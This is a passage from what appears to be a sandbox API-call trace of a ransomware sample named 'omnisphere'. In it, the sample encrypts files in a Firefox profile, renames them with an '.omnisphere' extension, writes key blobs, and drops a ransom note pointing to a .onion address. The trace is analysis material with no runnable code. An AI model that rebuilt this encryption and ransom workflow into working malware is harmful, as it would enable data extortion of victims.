ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe9b352a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="..", cAlternateFileName="")) returned 1 [0161.582] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9b352a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9b352a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe9b352a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="..", cAlternateFileName="")) returned 0 [0161.582] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0161.583] GetProcessHeap () returned 0x1600000 [0161.583] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c938 | out: hHeap=0x1600000) returned 1 [0161.583] GetProcessHeap () returned 0x1600000 [0161.583] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162bd08 | out: hHeap=0x1600000) returned 1 [0161.583] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe645e15, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe645e15, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3df1fb3d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x10524, dwReserved0=0x0, dwReserved1=0x0, cFileName="cert8.db.omnisphere", cAlternateFileName="CERT8D~1.OMN")) returned 1 [0161.583] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3df1fb3d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3df1fb3d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3df1fb3d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="cert8.db.omnisphere.id", cAlternateFileName="CERT8D~1.ID")) returned 1 [0161.583] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3df6bfbf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="compatibility.ini.omnisphere", cAlternateFileName="COMPAT~1.OMN")) returned 1 [0161.583] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3df6bfbf, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3df6bfbf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3df6bfbf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="compatibility.ini.omnisphere.id", cAlternateFileName="COMPAT~1.ID")) returned 1 [0161.583] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9a54e3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xff9a54e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3dfb8317, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x84d, dwReserved0=0x0, dwReserved1=0x0, cFileName="containers.json.omnisphere", cAlternateFileName="CONTAI~1.OMN")) returned 1 [0161.583] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dfb8317, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3dfb8317, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3dfb8317, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="containers.json.omnisphere.id", cAlternateFileName="CONTAI~1.ID")) returned 1 [0161.583] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff97f27a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xff97f27a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3e5fa742, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x38524, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-prefs.sqlite.omnisphere", cAlternateFileName="CONTEN~1.OMN")) returned 1 [0161.583] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3e4653, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3e3e4653, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3e40a70b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-prefs.sqlite.omnisphere.id", cAlternateFileName="CONTEN~1.ID")) returned 1 [0161.583] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ef1bce, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1ef1bce, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3e9b4192, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x80524, dwReserved0=0x0, dwReserved1=0x0, cFileName="cookies.sqlite.omnisphere", cAlternateFileName="COOKIE~1.OMN")) returned 1 [0161.583] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9b4192, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3e9b4192, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3e9b4192, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="cookies.sqlite.omnisphere.id", cAlternateFileName="COOKIE~1.ID")) returned 1 [0161.583] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x2923a75e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2923a75e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="crashes", cAlternateFileName="")) returned 1 [0161.583] GetProcessHeap () returned 0x1600000 [0161.583] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb2) returned 0x17496b8 [0161.583] PathCombineW (in: pszDest=0x17496b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="crashes" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes" [0161.583] GetProcessHeap () returned 0x1600000 [0161.583] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb6) returned 0x1748b78 [0161.583] PathCombineW (in: pszDest=0x1748b78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\*" [0161.583] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x2923a75e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2923a75e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName=".", cAlternateFileName="")) returned 0x1639628 [0161.584] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x2923a75e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2923a75e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="..", cAlternateFileName="")) returned 1 [0161.584] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="events", cAlternateFileName="")) returned 1 [0161.584] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2923a75e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x2923a75e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2923a75e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x42, dwReserved0=0x0, dwReserved1=0xbb, cFileName="store.json.mozlz4", cAlternateFileName="STOREJ~1.MOZ")) returned 1 [0161.584] GetProcessHeap () returned 0x1600000 [0161.584] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd6) returned 0x172ca88 [0161.584] PathCombineW (in: pszDest=0x172ca88, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes", pszFile="store.json.mozlz4" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4" [0161.584] StrStrW (lpFirst=".omnisphere", lpSrch=".mozlz4") returned 0x0 [0161.584] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0161.585] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=66) returned 1 [0161.585] GetTickCount () returned 0x1168228 [0161.585] GetTickCount () returned 0x1168228 [0161.585] GetTickCount () returned 0x1168228 [0161.585] GetTickCount () returned 0x1168228 [0161.585] GetTickCount () returned 0x1168228 [0161.585] GetTickCount () returned 0x1168228 [0161.585] GetTickCount () returned 0x1168228 [0161.585] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] GetTickCount () returned 0x1168228 [0161.586] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1668ac0) returned 1 [0161.587] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x16396a8) returned 1 [0161.587] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0161.587] CryptDestroyKey (hKey=0x16396a8) returned 1 [0161.587] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0161.587] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x42, lpName=0x0) returned 0x388 [0161.587] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x42) returned 0x1480000 [0161.588] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1669230) returned 1 [0161.588] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x1639528) returned 1 [0161.588] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0161.588] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0161.588] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0161.588] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0161.588] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0161.588] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0161.588] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0161.588] CryptDestroyKey (hKey=0x1639528) returned 1 [0161.588] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0161.589] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x42, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0161.589] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0161.590] GetProcessHeap () returned 0x1600000 [0161.590] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2e6) returned 0x174b270 [0161.590] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4.omnisphere")) returned 1 [0161.591] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4.omnisphere.id" [0161.591] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.591] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0161.592] CloseHandle (hObject=0x3b4) returned 1 [0161.592] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0161.592] CloseHandle (hObject=0x388) returned 1 [0161.592] SetEndOfFile (hFile=0x3c0) returned 1 [0161.592] FlushFileBuffers (hFile=0x3c0) returned 1 [0161.596] CloseHandle (hObject=0x3c0) returned 1 [0161.596] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes") returned 1 [0161.596] GetProcessHeap () returned 0x1600000 [0161.596] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x174b560 [0161.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0161.596] GetProcessHeap () returned 0x1600000 [0161.596] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733f40 [0161.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733f40, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0161.596] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0161.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0161.596] GetProcessHeap () returned 0x1600000 [0161.596] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17267b8 [0161.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17267b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0161.596] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0161.596] GetProcessHeap () returned 0x1600000 [0161.596] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe2) returned 0x1745fc8 [0161.596] PathCombineW (in: pszDest=0x1745fc8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\!DECRYPT_OMNISPHERE.txt" [0161.596] GetProcessHeap () returned 0x1600000 [0161.596] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17362f8 [0161.596] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\crashes\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0161.599] WriteFile (in: hFile=0x3c0, lpBuffer=0x17362f8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x17362f8*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0161.600] CloseHandle (hObject=0x3c0) returned 1 [0161.600] GetProcessHeap () returned 0x1600000 [0161.600] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174b560 | out: hHeap=0x1600000) returned 1 [0161.600] GetProcessHeap () returned 0x1600000 [0161.600] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd8) returned 0x172cb68 [0161.600] PathCombineW (in: pszDest=0x172cb68, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\unique_decrypt.key" [0161.600] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\crashes\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0161.600] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0161.601] CloseHandle (hObject=0x3c0) returned 1 [0161.602] GetProcessHeap () returned 0x1600000 [0161.602] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172cb68 | out: hHeap=0x1600000) returned 1 [0161.602] GetProcessHeap () returned 0x1600000 [0161.602] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172ca88 | out: hHeap=0x1600000) returned 1 [0161.602] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2923a75e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x2923a75e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2923a75e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x42, dwReserved0=0x0, dwReserved1=0xbb, cFileName="store.json.mozlz4", cAlternateFileName="STOREJ~1.MOZ")) returned 0 [0161.602] FindClose (in: hFindFile=0x1639628 | out: hFindFile=0x1639628) returned 1 [0161.602] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, 